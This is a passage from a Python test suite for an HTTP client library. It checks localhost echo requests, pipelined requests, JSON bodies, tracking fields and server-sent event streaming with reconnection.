ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha # build request msgOut = beta.requester.rebuild() assert beta.requester.lines == [ b'GET /echo?name=fame HTTP/1.1', b'Host: 127.0.0.1:6101', b'Accept-Encoding: identity', b'Accept: application/json', b'', b'', ] assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\nAccept-Encoding: ' b'identity\r\nAccept: application/json\r\n\r\n') assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\nHost: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\nAccept: application/json\r\n\r\n') beta.connector.tx(msgOut) while beta.connector.txbs and not ixBeta.rxbs : beta.connector.serviceSends() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == msgOut ixBeta.clearRxbs() # build resonse msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, "query": {"name": "fame"}, "verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", "action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.connector.rxbs: alpha.serviceSendsAllIx() time.sleep(0.05) beta.connector.serviceReceives() time.sleep(0.05) msgIn = bytes(beta.connector.rxbs) assert msgIn == msgOut while beta.respondent.parser: beta.respondent.parse() assert not beta.connector.rxbs assert list(beta.respondent.headers.items()) == [('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')] beta.respondent.dictify() # convert JSON data in body assert beta.respondent.body == (b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", "url' b'": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') assert beta.respondent.data == {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'} def test_client_service_echo(): """ Test Client service echo nonblocking """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha # build request as result of transmit beta.transmit() assert beta.requester.lines == [ b'GET /echo?name=fame HTTP/1.1', b'Host: 127.0.0.1:6101', b'Accept-Encoding: identity', b'Accept: application/json', b'', b'', ] assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') msgOut = bytes(beta.connector.txbs) # make copy assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') while beta.connector.txbs and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == msgOut ixBeta.clearRxbs() # build response msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 assert list(beta.respondent.headers.items()) == [('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')] assert beta.respondent.body == (b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", "url' b'": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') assert beta.respondent.data == {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'} alpha.close() beta.close() def test_client_pipeline_echo(): """ Test Client pipeline servicing """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # ensure no stale stuff in beta rx buffer at Alpha # build response msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': {'Content-Length': '122', 'Content-Type': 'application/json', 'Date': 'Thu, 30 Apr 2015 19:37:17 GMT', 'Server': 'IoBook.local'}, 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': {'Accept': 'application/json'}, 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} # resend request in pipeline mode beta.requests.append(request) while ( beta.requests or beta.connector.txbs) and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # build response msgOut =( b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': {'Content-Length': '122', 'Content-Type': 'application/json', 'Date': 'Thu, 30 Apr 2015 19:37:17 GMT', 'Server': 'IoBook.local'}, 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'}, 'error': None, 'errored': False, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': {'Accept': 'application/json'}, 'body': b'', 'data': None, 'fargs': None, } } alpha.close() beta.close() def test_client_pipeline_echo_simple(): """ Test CLient pipeline servicing """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.respond() # returns next response from .responses assert response == clienting.Response(version=(1, 1), status=200, reason='OK', headers=Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), body=bytearray(b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}'), data={'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, request={'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, errored=False, error=None) # pipeline request to send again beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_echo_simple_host_port_path(): """ Test Client Simple First time request pattern """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff beta.transmit() while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/echo', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.request(method=u'GET', path=u'/echo?name=fame', headers=dict([('Accept', 'application/json')])) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None, 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http'}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipline_echo_simple_path_scheme(): """ Test Client pipeline servicing using path components for host port scheme """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) # mockEchoServiceLocalhost time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.requests.append(request) # pipeline request while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_simple_path_track(): """ Test Client pipeline servicing using path components for host port scheme Request includes tracking information that is included in reponses copy of request """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ('mid', 1), # tracking ('drop', '.stuff.reply'), # tracking ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'mid': 1, 'drop': '.stuff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} request.update(mid=2, drop='.puff.reply') beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'mid': 2, 'drop': '.puff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_json(): """ Test Client pipeline servicing using path components for host port scheme with json body in data Request includes tracking information that is included in reponses copy of request """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'PUT'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('data', dict([("first", "John"), ("last", "Smith")])), ('mid', 1), ('drop', '.stuff.reply'), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoServiceJson(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'PUT', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]), 'data': {'first': 'John', 'last': 'Smith'}, 'mid': 1, 'drop': '.stuff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'body': b'', 'fargs': None}, 'errored': False, 'error': None} request.update(mid=2, drop='.puff.reply') beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoServiceJson(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'PUT', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]), 'data': {'first': 'John', 'last': 'Smith'}, 'mid': 2, 'drop': '.puff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'body': b'', 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_sse_stream(): """ Test Client pipeline stream sse """ tymist = tyming.Tymist(tyme=0.0) alpha = tcp.Server(port = 6101, bufsize=131072, tymth=tymist.tymen()) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] beta = clienting.Client(bufsize=131072, hostname=host, port=port, tymth=tymist.tymen(), # passed through to connector reconnectable=True, # passed through to connector tymeout=1.0, # passed through to connector ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff while True: beta.service() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) tymist.tick(tock=0.5) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha == beta.connector.ha # build request request = dict([('method', u'GET'), ('path', u'/stream'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs: beta.service() time.sleep(0.05) tymist.tick(tock=0.5) alpha.serviceReceivesAllIx() time.sleep(0.05) tymist.tick(tock=0.5) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /stream HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # build response lines = [ b'HTTP/1.0 200 OK\r\n', b'Server: IoBook.local\r\n', b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n' b'Content-Type: text/event-stream\r\n', b'Cache-Control: no-cache\r\n', b'Connection: close\r\n\r\n', b'retry: 1000\n\n', b'id: 0\ndata: START\n\n', b'id: 1\ndata: 1\ndata: 2\n\n', b'id: 2\ndata: 3\ndata: 4\n\n', b'id: 3\ndata: 5\ndata: 6\n\n', b'id: 4\ndata: 7\ndata: 8\n\n', ] msgOut = b''.join(lines) ixBeta.tx(msgOut) tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5) while ixBeta.txbs or not tymer.expired: alpha.serviceSendsAllIx() time.sleep(0.05) tymist.tick(tock=0.5) beta.service() time.sleep(0.05) tymist.tick(tock=0.5) # tymer expired while stream still open so no responses in .responses assert not beta.connector.rxbs assert beta.waited assert not beta.respondent.ended assert len(beta.responses) == 0 # but events made it into in .events assert len(beta.events) == 5 assert beta.respondent.retry == 1000 assert beta.respondent.leid == '4' event = beta.events.popleft() assert event == {'id': '0', 'name': '', 'data': 'START'} event = beta.events.popleft() assert event == {'id': '1', 'name': '', 'data': '1\n2'} event = beta.events.popleft() assert event == {'id': '2', 'name': '', 'data': '3\n4'} event = beta.events.popleft() assert event == {'id': '3', 'name': '', 'data': '5\n6'} event = beta.events.popleft() assert event == {'id': '4', 'name': '', 'data': '7\n8'} assert not beta.events # shutdown alpha's ixBeta connection prematurely so beta must reconnect alpha.closeIx(beta.connector.ca) alpha.removeIx(beta.connector.ca) while True: beta.service() if not beta.connector.connected: break time.sleep(0.1) tymist.tick(tock=0.5) assert not beta.connector.cutoff # auto reconnect while True: beta.service() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) tymist.tick(tock=0.5) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = 